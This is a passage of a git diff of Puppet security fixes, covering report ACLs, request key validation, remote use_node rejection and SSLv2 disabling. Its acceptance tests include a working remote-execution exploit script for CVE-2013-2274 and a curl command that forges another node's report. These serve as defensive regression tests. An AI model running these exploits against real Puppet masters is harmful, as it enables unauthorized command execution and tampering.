+      yaml = exec.to_resource.to_yaml
+
+      headers = {'Content-Type' => 'text/yaml', 'Accept' => 'yaml'}
+      conn = Net::HTTP.new('#{exploitee}', #{port})
+      conn.use_ssl = true
+      conn.cert = OpenSSL::X509::Certificate.new(File.read('#{certfile}'))
+      conn.key = OpenSSL::PKey::RSA.new(File.read('#{keyfile}'))
+      conn.verify_mode = OpenSSL::SSL::VERIFY_NONE
+
+      conn.request_put("/production/#{endpoint}/#{key || certname}", yaml, headers) do |response|
+       response.read_body do |chunk|
+         puts chunk
+       end
+      end ]
+
+    return exploit
+  end
+
+  exploited = '/tmp/cve-2013-2274-has-worked'
+
+  teardown do
+    agents.each do |agent|
+      pidfile = on( agent, puppet_agent("--configprint pidfile") ).stdout.chomp
+      on agent, "[ -f #{pidfile} ] && kill `cat #{pidfile}` || true"
+      on agent, "rm -rf #{exploited}"
+    end
+  end
+
+  with_master_running_on(master, "--autosign true") do
+    agents.each do |agent|
+
+      testdir = agent.tmpdir('puppet-kick-auth')
+      step "Prepare the agent:#{agent} to exploit the master #{master}" do
+
+        # Ensure the agent has its cert
+        on agent, puppet_agent("--test --server #{master}")
+
+        # Double check to ensure we don't have stale data
+        on master, "rm -rf #{exploited}"
+        on agent, "rm -rf #{testdir}/exploit.rb"
+      end
+
+      step "Exploit the master" do
+        # Copy over our exploit code and execute it
+        create_remote_file( agent, "#{testdir}/exploit.rb", exploit_code( agent, master, 'report', 8140, exploited ))
+        on agent, "chmod +x #{testdir}/exploit.rb"
+        on agent, "#{testdir}/exploit.rb"
+
+        # Did it exploit the SUT?
+        fail_test( "Found exploit file #{exploited}" ) if
+          on( master, "[ ! -f #{exploited} ]",
+             :acceptable_exit_codes => [0,1] ).exit_code == 1
+      end
+    end
+  end
+end
diff --git a/acceptance/tests/security/cve-2013-2275_report_acl.rb b/acceptance/tests/security/cve-2013-2275_report_acl.rb
new file mode 100644
index 0000000..dae05c5
--- /dev/null
+++ b/acceptance/tests/security/cve-2013-2275_report_acl.rb
@@ -0,0 +1,30 @@
+test_name "(#19531) report save access control"
+step "Verify puppet only allows saving reports from the node matching the certificate"
+
+fake_report = <<-EOYAML
+--- !ruby/object:Puppet::Transaction::Report
+  host: mccune
+  metrics: {}
+  logs: []
+  kind: inspect
+  puppet_version: "2.7.20"
+  status: failed
+  report_format: 3
+EOYAML
+
+with_master_running_on(master) do
+  submit_fake_report_cmd = [
+    "curl -k -X PUT",
+    "--cacert \"$(puppet master --configprint cacert)\"",
+    "--cert \"$(puppet master --configprint hostcert)\"",
+    "--key \"$(puppet master --configprint hostprivkey)\"",
+    "-H 'Content-Type: text/yaml'",
+    "-d '#{fake_report}'",
+    "\"https://#{master}:8140/production/report/mccune\"",
+  ].join(" ")
+
+  on master, submit_fake_report_cmd, :acceptable_exit_codes => [0] do
+    msg = "(#19531) (CVE-2013-2275) Puppet master accepted a report for a node that does not match the certname"
+    assert_match(/Forbidden request/, stdout, msg)
+  end
+end
diff --git a/conf/auth.conf b/conf/auth.conf
index 431e4b2..4307f02 100644
--- a/conf/auth.conf
+++ b/conf/auth.conf
@@ -58,10 +58,10 @@ path /certificate_revocation_list/ca
 method find
 allow *
 
-# allow all nodes to store their reports
-path /report
+# allow all nodes to store their own reports
+path ~ ^/report/([^/]+)$
 method save
-allow *
+allow $1
 
 # inconditionnally allow access to all files services
 # which means in practice that fileserver.conf will
diff --git a/lib/puppet/indirector/catalog/compiler.rb b/lib/puppet/indirector/catalog/compiler.rb
index 6375e80..a1c54a7 100644
--- a/lib/puppet/indirector/catalog/compiler.rb
+++ b/lib/puppet/indirector/catalog/compiler.rb
@@ -13,7 +13,9 @@ class Puppet::Resource::Catalog::Compiler < Puppet::Indirector::Code
 
   def extract_facts_from_request(request)
     return unless text_facts = request.options[:facts]
-    raise ArgumentError, "Facts but no fact format provided for #{request.name}" unless format = request.options[:facts_format]
+    unless format = request.options[:facts_format]
+      raise ArgumentError, "Facts but no fact format provided for #{request.key}"
+    end
 
     # If the facts were encoded as yaml, then the param reconstitution system
     # in Network::HTTP::Handler will automagically deserialize the value.
@@ -22,6 +24,11 @@ class Puppet::Resource::Catalog::Compiler < Puppet::Indirector::Code
     else
       facts = Puppet::Node::Facts.convert_from(format, text_facts)
     end
+
+    unless facts.name == request.key
+      raise Puppet::Error, "Catalog for #{request.key.inspect} was requested with fact definition for the wrong node (#{facts.name.inspect})."
+    end
+
     facts.save
   end
 
@@ -104,7 +111,11 @@ class Puppet::Resource::Catalog::Compiler < Puppet::Indirector::Code
   # to find the node.
   def node_from_request(request)
     if node = request.options[:use_node]
-      return node
+      if request.remote?
+        raise Puppet::Error, "Invalid option use_node for a remote request"
+      else
+        return node
+      end
     end
 
     # We rely on our authorization system to determine whether the connected
diff --git a/lib/puppet/indirector/errors.rb b/lib/puppet/indirector/errors.rb
new file mode 100644
index 0000000..6b599b8
--- /dev/null
+++ b/lib/puppet/indirector/errors.rb
@@ -0,0 +1,5 @@
+require 'puppet/error'
+
+module Puppet::Indirector
+  class ValidationError < Puppet::Error; end
+end
diff --git a/lib/puppet/indirector/file_bucket_file/file.rb b/lib/puppet/indirector/file_bucket_file/file.rb
index 0fd8a91..0d082de 100644
--- a/lib/puppet/indirector/file_bucket_file/file.rb
+++ b/lib/puppet/indirector/file_bucket_file/file.rb
@@ -48,6 +48,10 @@ module Puppet::FileBucketFile
       instance.to_s
     end
 
+    def validate_key(request)
+      # There are no ACLs on filebucket files so validating key is not important
+    end
+
     private
 
     def path_match(dir_path, files_original_path)
diff --git a/lib/puppet/indirector/file_bucket_file/selector.rb b/lib/puppet/indirector/file_bucket_file/selector.rb
index 51fc771..9b32f05 100644
--- a/lib/puppet/indirector/file_bucket_file/selector.rb
+++ b/lib/puppet/indirector/file_bucket_file/selector.rb
@@ -44,6 +44,10 @@ module Puppet::FileBucketFile
         true
       end
     end
+
+    def validate_key(request)
+      get_terminus(request).validate(request)
+    end
   end
 end
 
diff --git a/lib/puppet/indirector/indirection.rb b/lib/puppet/indirector/indirection.rb
index 3d17e6e..295ec4c 100644
--- a/lib/puppet/indirector/indirection.rb
+++ b/lib/puppet/indirector/indirection.rb
@@ -301,6 +301,7 @@ class Puppet::Indirector::Indirection
 
     dest_terminus = terminus(terminus_name)
     check_authorization(request, dest_terminus)
+    dest_terminus.validate(request)
 
     dest_terminus
   end
diff --git a/lib/puppet/indirector/request.rb b/lib/puppet/indirector/request.rb
index fd8d654..4852db5 100644
--- a/lib/puppet/indirector/request.rb
+++ b/lib/puppet/indirector/request.rb
@@ -149,6 +149,10 @@ class Puppet::Indirector::Request
     return(uri ? uri : "/#{indirection_name}/#{key}")
   end
 
+  def remote?
+    self.node or self.ip
+  end
+
   private
 
   def set_attributes(options)
diff --git a/lib/puppet/indirector/resource/ral.rb b/lib/puppet/indirector/resource/ral.rb
index bc41d14..e0f0a06 100644
--- a/lib/puppet/indirector/resource/ral.rb
+++ b/lib/puppet/indirector/resource/ral.rb
@@ -1,4 +1,8 @@
+require 'puppet/indirector/resource/validator'
+
 class Puppet::Resource::Ral < Puppet::Indirector::Code
+  include Puppet::Resource::Validator
+
   def find( request )
     # find by name
     res   = type(request).instances.find { |o| o.name == resource_name(request) }
diff --git a/lib/puppet/indirector/resource/validator.rb b/lib/puppet/indirector/resource/validator.rb
new file mode 100644
index 0000000..dff6ce5
--- /dev/null
+++ b/lib/puppet/indirector/resource/validator.rb
@@ -0,0 +1,8 @@
+module Puppet::Resource::Validator
+  def validate_key(request)
+    type, title = request.key.split('/', 2)
+    unless type.downcase == request.instance.type.downcase and title == request.instance.title
+      raise Puppet::Indirector::ValidationError, "Resource instance does not match request key"
+    end
+  end
+end
diff --git a/lib/puppet/indirector/rest.rb b/lib/puppet/indirector/rest.rb
index e50dc68..775cc82 100644
--- a/lib/puppet/indirector/rest.rb
+++ b/lib/puppet/indirector/rest.rb
@@ -107,6 +107,10 @@ class Puppet::Indirector::REST < Puppet::Indirector::Terminus
     deserialize network(request).put(indirection2uri(request), request.instance.render, headers.merge({ "Content-Type" => request.instance.mime }))
   end
 
+  def validate_key(request)
+    # Validation happens on the remote end
+  end
+
   private
 
   def environment
diff --git a/lib/puppet/indirector/run/local.rb b/lib/puppet/indirector/run/local.rb
index 8cf65d1..473c3d6 100644
--- a/lib/puppet/indirector/run/local.rb
+++ b/lib/puppet/indirector/run/local.rb
@@ -5,4 +5,8 @@ class Puppet::Run::Local < Puppet::Indirector::Code
   def save( request )
     request.instance.run
   end
+
+  def validate_key(request)
+    # No key is necessary for kick
+  end
 end
diff --git a/lib/puppet/indirector/terminus.rb b/lib/puppet/indirector/terminus.rb
index 4ebd0d0..f9110b6 100644
--- a/lib/puppet/indirector/terminus.rb
+++ b/lib/puppet/indirector/terminus.rb
@@ -1,4 +1,5 @@
 require 'puppet/indirector'
+require 'puppet/indirector/errors'
 require 'puppet/indirector/indirection'
 require 'puppet/util/instance_loader'
 
@@ -145,4 +146,23 @@ class Puppet::Indirector::Terminus
   def terminus_type
     self.class.terminus_type
   end
+
+  def validate(request)
+    if request.instance
+      validate_model(request)
+      validate_key(request)
+    end
+  end
+
+  def validate_key(request)
+    unless request.key == request.instance.name
+      raise Puppet::Indirector::ValidationError, "Instance name #{request.instance.name.inspect} does not match requested key #{request.key.inspect}"
+    end
+  end
+
+  def validate_model(request)
+    unless model === request.instance
+      raise Puppet::Indirector::ValidationError, "Invalid instance type #{request.instance.class.inspect}, expected #{model.inspect}"
+    end
+  end
 end
diff --git a/lib/puppet/network/http/handler.rb b/lib/puppet/network/http/handler.rb
index e192613..b8e6499 100644
--- a/lib/puppet/network/http/handler.rb
+++ b/lib/puppet/network/http/handler.rb
@@ -70,6 +70,8 @@ module Puppet::Network::HTTP::Handler
     raise
   rescue Exception => e
     return do_exception(response, e)
+  ensure
+    cleanup(request)
   end
 
   # Set the response up, with the body and status.
@@ -155,6 +157,9 @@ module Puppet::Network::HTTP::Handler
 
     format = request_format(request)
     obj = indirection_request.model.convert_from(format, data)
+    unless indirection_request.model === obj
+      raise ArgumentError, "Request data must be of type #{indirection_request.model.inspect}"
+    end
     result = save_object(indirection_request, obj)
     return_yaml_response(response, result)
   end
@@ -217,6 +222,10 @@ module Puppet::Network::HTTP::Handler
     raise NotImplementedError
   end
 
+  def cleanup(request)
+    # By default, there is nothing to cleanup.
+  end
+
   def decode_params(params)
     params.inject({}) do |result, ary|
       param, value = ary
diff --git a/lib/puppet/network/http/rack/rest.rb b/lib/puppet/network/http/rack/rest.rb
index 602927a..61ef529 100644
--- a/lib/puppet/network/http/rack/rest.rb
+++ b/lib/puppet/network/http/rack/rest.rb
@@ -73,12 +73,17 @@ class Puppet::Network::HTTP::RackREST < Puppet::Network::HTTP::RackHttpHandler
   end
 
   # return the request body
-  # request.body has some limitiations, so we need to concat it back
-  # into a regular string, which is something puppet can use.
   def body(request)
     request.body.read
   end
 
+  # Passenger freaks out if we finish handling the request without reading any
+  # part of the body, so make sure we have.
+  def cleanup(request)
+    request.body.read(1)
+    nil
+  end
+
   def extract_client_info(request)
     result = {}
     result[:ip] = request.ip
diff --git a/lib/puppet/network/http/webrick.rb b/lib/puppet/network/http/webrick.rb
index 8ed0b28..4d7b40b 100644
--- a/lib/puppet/network/http/webrick.rb
+++ b/lib/puppet/network/http/webrick.rb
@@ -104,6 +104,7 @@ class Puppet::Network::HTTP::WEBrick
     results[:SSLCertificate] = host.certificate.content
     results[:SSLStartImmediately] = true
     results[:SSLEnable] = true
+    results[:SSLOptions] = OpenSSL::SSL::OP_NO_SSLv2
 
     raise Puppet::Error, "Could not find CA certificate" unless Puppet::SSL::Certificate.find(Puppet::SSL::CA_NAME)
 
diff --git a/lib/puppet/network/http_pool.rb b/lib/puppet/network/http_pool.rb
index 7d227b4..d6dbf23 100644
--- a/lib/puppet/network/http_pool.rb
+++ b/lib/puppet/network/http_pool.rb
@@ -50,14 +50,23 @@ module Puppet::Network::HttpPool
 
   # Use cert information from a Puppet client to set up the http object.
   def self.cert_setup(http)
-    # Just no-op if we don't have certs.
-    return false unless FileTest.exist?(Puppet[:hostcert]) and FileTest.exist?(Puppet[:localcacert])
-
-    http.cert_store = ssl_host.ssl_store
-    http.ca_file = Puppet[:localcacert]
-    http.cert = ssl_host.certificate.content
-    http.verify_mode = OpenSSL::SSL::VERIFY_PEER
-    http.key = ssl_host.key.content
+    if FileTest.exist?(Puppet[:hostcert]) and FileTest.exist?(Puppet[:localcacert])
+      http.cert_store  = ssl_host.ssl_store
+      http.ca_file     = Puppet[:localcacert]
+      http.cert        = ssl_host.certificate.content
+      http.verify_mode = OpenSSL::SSL::VERIFY_PEER
+      http.key         = ssl_host.key.content
+    else
+      # We don't have the local certificates, so we don't do any verification
+      # or setup at this early stage.  REVISIT: Shouldn't we supply the local
+      # certificate details if we have them?  The original code didn't.
+      # --daniel 2012-06-03
+
+      # Ruby 1.8 defaulted to this, but 1.9 defaults to peer verify, and we
+      # almost always talk to a dedicated, not-standard CA that isn't trusted
+      # out of the box.  This forces the expected state.
+      http.verify_mode = OpenSSL::SSL::VERIFY_NONE
+    end
   end
 
   # Retrieve a cached http instance if caching is enabled, else return
diff --git a/lib/puppet/network/rest_authconfig.rb b/lib/puppet/network/rest_authconfig.rb
index e606761..d52d1d5 100644
--- a/lib/puppet/network/rest_authconfig.rb
+++ b/lib/puppet/network/rest_authconfig.rb
@@ -12,7 +12,7 @@ module Puppet
       # to fileserver.conf
       { :acl => "/file" },
       { :acl => "/certificate_revocation_list/ca", :method => :find, :authenticated => true },
-      { :acl => "/report", :method => :save, :authenticated => true },
+      { :acl => "~ ^\/report\/([^\/]+)$", :method => :save, :allow => '$1', :authenticated => true },
       { :acl => "/certificate/ca", :method => :find, :authenticated => false },
       { :acl => "/certificate/", :method => :find, :authenticated => false },
       { :acl => "/certificate_request", :method => [:find, :save], :authenticated => false },
diff --git a/lib/puppet/parser/templatewrapper.rb b/lib/puppet/parser/templatewrapper.rb
index 6864aa1..536861e 100644
--- a/lib/puppet/parser/templatewrapper.rb
+++ b/lib/puppet/parser/templatewrapper.rb
@@ -5,8 +5,6 @@ require 'erb'
 
 class Puppet::Parser::TemplateWrapper
   attr_writer :scope
-  attr_reader :file
-  attr_accessor :string
   include Puppet::Util
   Puppet::Util.logmethods(self)
 
@@ -14,6 +12,10 @@ class Puppet::Parser::TemplateWrapper
     @__scope__ = scope
   end
 
+  def file
+    @__file__
+  end
+
   def scope
     @__scope__
   end
@@ -68,41 +70,40 @@ class Puppet::Parser::TemplateWrapper
   end
 
   def file=(filename)
-    unless @file = Puppet::Parser::Files.find_template(filename, scope.compiler.environment.to_s)
+    unless @__file__ = Puppet::Parser::Files.find_template(filename, scope.compiler.environment.to_s)
       raise Puppet::ParseError, "Could not find template '#{filename}'"
     end
 
     # We'll only ever not have a parser in testing, but, eh.
-    scope.known_resource_types.watch_file(file)
-
-    @string = File.read(file)
+    scope.known_resource_types.watch_file(@__file__)
   end
 
   def result(string = nil)
     if string
-      self.string = string
       template_source = "inline template"
     else
-      template_source = file
+      string = File.read(@__file__)
+      template_source = @__file__
     end
 
     # Expose all the variables in our scope as instance variables of the
     # current object, making it possible to access them without conflict
     # to the regular methods.
     benchmark(:debug, "Bound template variables for #{template_source}") do
-      scope.to_hash.each { |name, value|
+      scope.to_hash.each do |name, value|
         if name.kind_of?(String)
           realname = name.gsub(/[^\w]/, "_")
         else
           realname = name
         end
         instance_variable_set("@#{realname}", value)
-      }
+      end
     end
 
     result = nil
     benchmark(:debug, "Interpolated template #{template_source}") do
-      template = ERB.new(self.string, 0, "-")
+      template = ERB.new(string, 0, "-")
+      template.filename = @__file__
       result = template.result(binding)
     end
 
@@ -110,6 +111,6 @@ class Puppet::Parser::TemplateWrapper
   end
 
   def to_s
-    "template[#{(file ? file : "inline")}]"
+    "template[#{(@__file__ ? @__file__ : "inline")}]"
   end
 end
diff --git a/lib/puppet/util/monkey_patches.rb b/lib/puppet/util/monkey_patches.rb
index 2bd2c80..1478ba4 100644
--- a/lib/puppet/util/monkey_patches.rb
+++ b/lib/puppet/util/monkey_patches.rb
@@ -138,3 +138,46 @@ class IO
     lines
   end
 end
+
+# (#19151) Reject all SSLv2 ciphers and handshakes
+require 'openssl'
+class OpenSSL::SSL::SSLContext
+  if match = /^1\.8\.(\d+)/.match(RUBY_VERSION)
+    older_than_187 = match[1].to_i < 7
+  else
+    older_than_187 = false
+  end
+
+  alias __original_initialize initialize
+  private :__original_initialize
+
+  if older_than_187
+    def initialize(*args)
+      __original_initialize(*args)
+      if bitmask = self.options
+        self.options = bitmask | OpenSSL::SSL::OP_NO_SSLv2
+      else
+        self.options = OpenSSL::SSL::OP_NO_SSLv2
+      end
+      # These are the default ciphers in recent MRI versions.  See
+      # https://github.com/ruby/ruby/blob/v1_9_3_392/ext/openssl/lib/openssl/ssl-internal.rb#L26
+      self.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW"
+    end
+  else
+    if DEFAULT_PARAMS[:options]
+      DEFAULT_PARAMS[:options] |= OpenSSL::SSL::OP_NO_SSLv2
+    else
+      DEFAULT_PARAMS[:options] = OpenSSL::SSL::OP_NO_SSLv2
+    end
+    DEFAULT_PARAMS[:ciphers] << ':!SSLv2'
+
+    def initialize(*args)
+      __original_initialize(*args)
+      params = {
+        :options => DEFAULT_PARAMS[:options],
+        :ciphers => DEFAULT_PARAMS[:ciphers],
+      }
+      set_params(params)
+    end
+  end
+end
diff --git a/spec/integration/indirector/bucket_file/rest_spec.rb b/spec/integration/indirector/bucket_file/rest_spec.rb
index acfc059..3d1bf5a 100644
--- a/spec/integration/indirector/bucket_file/rest_spec.rb
+++ b/spec/integration/indirector/bucket_file/rest_spec.rb
@@ -54,7 +54,7 @@ describe "Filebucket REST Terminus" do
     # passed through REST; otherwise we'd be stubbing 'find', which would cause an immediate
     # return.
     @file_bucket_file = stub_everything 'file_bucket_file'
-    @mock_model = stub('faked model', :name => "file_bucket_file", :convert_from => @file_bucket_file)
+    @mock_model = stub('faked model', :name => "file_bucket_file", :convert_from => @file_bucket_file, :=== => true)
     Puppet::Indirector::Request.any_instance.stubs(:model).returns(@mock_model)
 
     Puppet::Network::HTTP::WEBrickREST.any_instance.stubs(:check_authorization)
diff --git a/spec/integration/indirector/catalog/compiler_spec.rb b/spec/integration/indirector/catalog/compiler_spec.rb
index ede502e..d769970 100755
--- a/spec/integration/indirector/catalog/compiler_spec.rb
+++ b/spec/integration/indirector/catalog/compiler_spec.rb
@@ -15,6 +15,7 @@ describe Puppet::Resource::Catalog::Compiler do
 
     @two = Puppet::Resource.new(:file, "/two")
     @catalog.add_resource(@one, @two)
+    Puppet::Resource::Catalog.indirection.terminus.stubs(:validate)
   end
 
   after { Puppet.settings.clear }
diff --git a/spec/integration/indirector/catalog/queue_spec.rb b/spec/integration/indirector/catalog/queue_spec.rb
index 5a4a8a4..8c3f028 100755
--- a/spec/integration/indirector/catalog/queue_spec.rb
+++ b/spec/integration/indirector/catalog/queue_spec.rb
@@ -7,7 +7,7 @@ require 'puppet/resource/catalog'
 describe "Puppet::Resource::Catalog::Queue", :if => Puppet.features.pson? do
   before do
     Puppet::Resource::Catalog.indirection.terminus(:queue)
-    @catalog = Puppet::Resource::Catalog.new
+    @catalog = Puppet::Resource::Catalog.new("foo")
 
     @one = Puppet::Resource.new(:file, "/one")
     @two = Puppet::Resource.new(:file, "/two")
diff --git a/spec/integration/indirector/certificate_request/rest_spec.rb b/spec/integration/indirector/certificate_request/rest_spec.rb
index c718b78..5548b27 100755
--- a/spec/integration/indirector/certificate_request/rest_spec.rb
+++ b/spec/integration/indirector/certificate_request/rest_spec.rb
@@ -50,7 +50,7 @@ describe "Certificate Request REST Terminus" do
     # LAK:NOTE We need to have a fake model here so that our indirected methods get
     # passed through REST; otherwise we'd be stubbing 'find', which would cause an immediate
     # return.
-    @mock_model = stub('faked model', :name => "certificate request")
+    @mock_model = stub('faked model', :name => "certificate request", :=== => true)
     Puppet::Indirector::Request.any_instance.stubs(:model).returns(@mock_model)
 
     Puppet::Network::HTTP::WEBrickREST.any_instance.stubs(:check_authorization).returns(true)
diff --git a/spec/integration/indirector/report/rest_spec.rb b/spec/integration/indirector/report/rest_spec.rb
index 5b5b2dd..d78608a 100644
--- a/spec/integration/indirector/report/rest_spec.rb
+++ b/spec/integration/indirector/report/rest_spec.rb
@@ -47,7 +47,7 @@ describe "Report REST Terminus" do
     # passed through REST; otherwise we'd be stubbing 'save', which would cause an immediate
     # return.
     @report = stub_everything 'report'
-    @mock_model = stub_everything 'faked model', :name => "report", :convert_from => @report
+    @mock_model = stub_everything 'faked model', :name => "report", :convert_from => @report, :=== => true
     Puppet::Indirector::Request.any_instance.stubs(:model).returns(@mock_model)
 
     Puppet::Network::HTTP::WEBrickREST.any_instance.stubs(:check_authorization)
diff --git a/spec/integration/resource/catalog_spec.rb b/spec/integration/resource/catalog_spec.rb
index da2b704..8801d0a 100755
--- a/spec/integration/resource/catalog_spec.rb
+++ b/spec/integration/resource/catalog_spec.rb
@@ -53,6 +53,7 @@ describe Puppet::Resource::Catalog do
       Puppet::Resource::Catalog.indirection.stubs(:terminus).returns terminus
 
       node = mock 'node'
+      terminus.stubs(:validate)
       terminus.expects(:find).with { |request| request.options[:use_node] == node }
       Puppet::Resource::Catalog.find("me", :use_node => node)
     end
diff --git a/spec/unit/indirector/catalog/compiler_spec.rb b/spec/unit/indirector/catalog/compiler_spec.rb
index 6c950b6..9cc891a 100755
--- a/spec/unit/indirector/catalog/compiler_spec.rb
+++ b/spec/unit/indirector/catalog/compiler_spec.rb
@@ -74,13 +74,22 @@ describe Puppet::Resource::Catalog::Compiler do
       @request = stub 'request', :key => @name, :node => @name, :options => {}
     end
 
-    it "should directly use provided nodes" do
+    it "should directly use provided nodes for a local request" do
       Puppet::Node.expects(:find).never
       @compiler.expects(:compile).with(@node)
       @request.stubs(:options).returns(:use_node => @node)
+      @request.stubs(:remote?).returns(false)
       @compiler.find(@request)
     end
 
+    it "rejects a provided node if the request is remote" do
+      @request.stubs(:options).returns(:use_node => @node)
+      @request.stubs(:remote?).returns(true)
+      expect {
+        @compiler.find(@request)
+      }.to raise_error Puppet::Error, /invalid option use_node/i
+    end
+
     it "should use the authenticated node name if no request key is provided" do
       @request.stubs(:key).returns(nil)
       Puppet::Node.expects(:find).with(@name).returns(@node)
@@ -120,6 +129,24 @@ describe Puppet::Resource::Catalog::Compiler do
       @compiler.find(@request)
     end
 
+    it "requires `facts_format` option if facts are passed in" do
+      facts = Puppet::Node::Facts.new("mynode", :afact => "avalue")
+      request = Puppet::Indirector::Request.new(:catalog, :find, "mynode", :facts => facts)
+      expect {
+        @compiler.find(request)
+      }.to raise_error ArgumentError, /no fact format provided for mynode/
+    end
+
+    it "rejects facts in the request from a different node" do
+      facts = Puppet::Node::Facts.new("differentnode", :afact => "avalue")
+      request = Puppet::Indirector::Request.new(
+        :catalog, :find, "mynode", :facts => facts, :facts_format => "unused"
+      )
+      expect {
+        @compiler.find(request)
+      }.to raise_error Puppet::Error, /fact definition for the wrong node/i
+    end
+
     it "should return the results of compiling as the catalog" do
       Puppet::Node.stubs(:find).returns(@node)
       config = mock 'config'
@@ -154,9 +181,9 @@ describe Puppet::Resource::Catalog::Compiler do
     before do
       Facter.stubs(:value).returns "something"
       @compiler = Puppet::Resource::Catalog::Compiler.new
-      @request = stub 'request', :options => {}
+      @request = Puppet::Indirector::Request.new(:catalog, :find, "hostname", nil)
 
-      @facts = stub 'facts', :save => nil
+      @facts = stub 'facts', :save => nil, :name => "hostname"
     end
 
     it "should do nothing if no facts are provided" do
diff --git a/spec/unit/indirector/indirection_spec.rb b/spec/unit/indirector/indirection_spec.rb
index a910cb6..844f18e 100755
--- a/spec/unit/indirector/indirection_spec.rb
+++ b/spec/unit/indirector/indirection_spec.rb
@@ -41,7 +41,7 @@ shared_examples_for "Indirection Delegator" do
       end
     end
 
-    request = stub 'request', :key => "me", :options => {}
+    request = Puppet::Indirector::Request.new(:indirection, :find, "me", nil)
 
     @indirection.stubs(:request).returns request
 
@@ -102,6 +102,16 @@ shared_examples_for "Delegation Authorizer" do
   end
 end
 
+shared_examples_for "Request validator" do
+  it "asks the terminus to validate the request" do
+    @terminus.expects(:validate).raises(Puppet::Indirector::ValidationError, "Invalid")
+    @terminus.expects(@method).never
+    expect {
+      @indirection.send(@method, "key")
+    }.to raise_error Puppet::Indirector::ValidationError
+  end
+end
+
 describe Puppet::Indirector::Indirection do
   after do
     Puppet::Util::Cacher.expire
@@ -145,6 +155,7 @@ describe Puppet::Indirector::Indirection do
     before :each do
       @terminus_class = mock 'terminus_class'
       @terminus = mock 'terminus'
+      @terminus.stubs(:validate)
       @terminus_class.stubs(:new).returns(@terminus)
       @cache = stub 'cache', :name => "mycache"
       @cache_class = mock 'cache_class'
@@ -215,6 +226,7 @@ describe Puppet::Indirector::Indirection do
 
       it_should_behave_like "Indirection Delegator"
       it_should_behave_like "Delegation Authorizer"
+      it_should_behave_like "Request validator"
 
       it "should return the results of the delegation" do
         @terminus.expects(:find).returns(@instance)
@@ -255,6 +267,7 @@ describe Puppet::Indirector::Indirection do
         before do
           @indirection.cache_class = :cache_terminus
           @cache_class.stubs(:new).returns(@cache)
+          @cache.stubs(:validate)
 
           @instance.stubs(:expired?).returns false
         end
@@ -388,6 +401,7 @@ describe Puppet::Indirector::Indirection do
 
       it_should_behave_like "Indirection Delegator"
       it_should_behave_like "Delegation Authorizer"
+      it_should_behave_like "Request validator"
 
       it "should return true if the head method returned true" do
         @terminus.expects(:head).returns(true)
@@ -508,6 +522,7 @@ describe Puppet::Indirector::Indirection do
 
       it_should_behave_like "Indirection Delegator"
       it_should_behave_like "Delegation Authorizer"
+      it_should_behave_like "Request validator"
 
       it "should return the result of removing the instance" do
         @terminus.stubs(:destroy).returns "yayness"
@@ -546,6 +561,7 @@ describe Puppet::Indirector::Indirection do
 
       it_should_behave_like "Indirection Delegator"
       it_should_behave_like "Delegation Authorizer"
+      it_should_behave_like "Request validator"
 
       it "should set the expiration date on any instances without one set" do
         @terminus.stubs(:search).returns([@instance])
@@ -715,6 +731,7 @@ describe Puppet::Indirector::Indirection do
     before do
       @indirection = Puppet::Indirector::Indirection.new(mock('model'), :test)
       @terminus = mock 'terminus'
+      @terminus.stubs(:validate)
       @terminus_class = stub 'terminus class', :new => @terminus
     end
 
diff --git a/spec/unit/indirector/request_spec.rb b/spec/unit/indirector/request_spec.rb
index 0b3c2c2..4368e53 100755
--- a/spec/unit/indirector/request_spec.rb
+++ b/spec/unit/indirector/request_spec.rb
@@ -301,4 +301,26 @@ describe Puppet::Indirector::Request do
       lambda { @request.query_string }.should raise_error(ArgumentError)
     end
   end
+
+  describe "#remote?" do
+    def request(options = {})
+      Puppet::Indirector::Request.new('node', 'find', 'localhost', options)
+    end
+
+    it "should not be unless node or ip is set" do
+      request.should_not be_remote
+    end
+
+    it "should be remote if node is set" do
+      request(:node => 'example.com').should be_remote
+    end
+
+    it "should be remote if ip is set" do
+      request(:ip => '127.0.0.1').should be_remote
+    end
+
+    it "should be remote if node and ip are set" do
+      request(:node => 'example.com', :ip => '127.0.0.1').should be_remote
+    end
+  end
 end
diff --git a/spec/unit/indirector/terminus_spec.rb b/spec/unit/indirector/terminus_spec.rb
index 63cb7cc..867d170 100755
--- a/spec/unit/indirector/terminus_spec.rb
+++ b/spec/unit/indirector/terminus_spec.rb
@@ -1,245 +1,257 @@
-#!/usr/bin/env ruby
-
-require File.dirname(__FILE__) + '/../../spec_helper'
+#! /usr/bin/env ruby
+require 'spec_helper'
 require 'puppet/defaults'
 require 'puppet/indirector'
 require 'puppet/indirector/memory'
 
 describe Puppet::Indirector::Terminus do
-  before :each do
-    Puppet::Indirector::Terminus.stubs(:register_terminus_class)
-    @indirection = stub 'indirection', :name => :my_stuff, :register_terminus_type => nil
-    Puppet::Indirector::Indirection.stubs(:instance).with(:my_stuff).returns(@indirection)
-    @abstract_terminus = Class.new(Puppet::Indirector::Terminus) do
-      def self.to_s
-        "Testing::Abstract"
+  before :all do
+    class Puppet::AbstractConcept
+      extend Puppet::Indirector
+      indirects :abstract_concept
+      attr_accessor :name
+      def initialize(name = "name")
+        @name = name
       end
     end
-    @terminus_class = Class.new(@abstract_terminus) do
-      def self.to_s
-        "MyStuff::TermType"
-      end
+
+    class Puppet::AbstractConcept::Freedom < Puppet::Indirector::Code
     end
-    @terminus = @terminus_class.new
   end
 
-  describe Puppet::Indirector::Terminus do
+  after :all do
+    # Remove the class, unlinking it from the rest of the system.
+    Puppet.send(:remove_const, :AbstractConcept)
+  end
 
-    it "should provide a method for setting terminus class documentation" do
-      @terminus_class.should respond_to(:desc)
-    end
+  let :terminus_class do Puppet::AbstractConcept::Freedom end
+  let :terminus       do terminus_class.new end
+  let :indirection    do Puppet::AbstractConcept.indirection end
+  let :model          do Puppet::AbstractConcept end
 
-    it "should support a class-level name attribute" do
-      @terminus_class.should respond_to(:name)
-    end
+  it "should provide a method for setting terminus class documentation" do
+    terminus_class.should respond_to(:desc)
+  end
 
-    it "should support a class-level indirection attribute" do
-      @terminus_class.should respond_to(:indirection)
-    end
+  it "should support a class-level name attribute" do
+    terminus_class.should respond_to(:name)
+  end
 
-    it "should support a class-level terminus-type attribute" do
-      @terminus_class.should respond_to(:terminus_type)
-    end
+  it "should support a class-level indirection attribute" do
+    terminus_class.should respond_to(:indirection)
+  end
 
-    it "should support a class-level model attribute" do
-      @terminus_class.should respond_to(:model)
-    end
+  it "should support a class-level terminus-type attribute" do
+    terminus_class.should respond_to(:terminus_type)
+  end
 
-    it "should accept indirection instances as its indirection" do
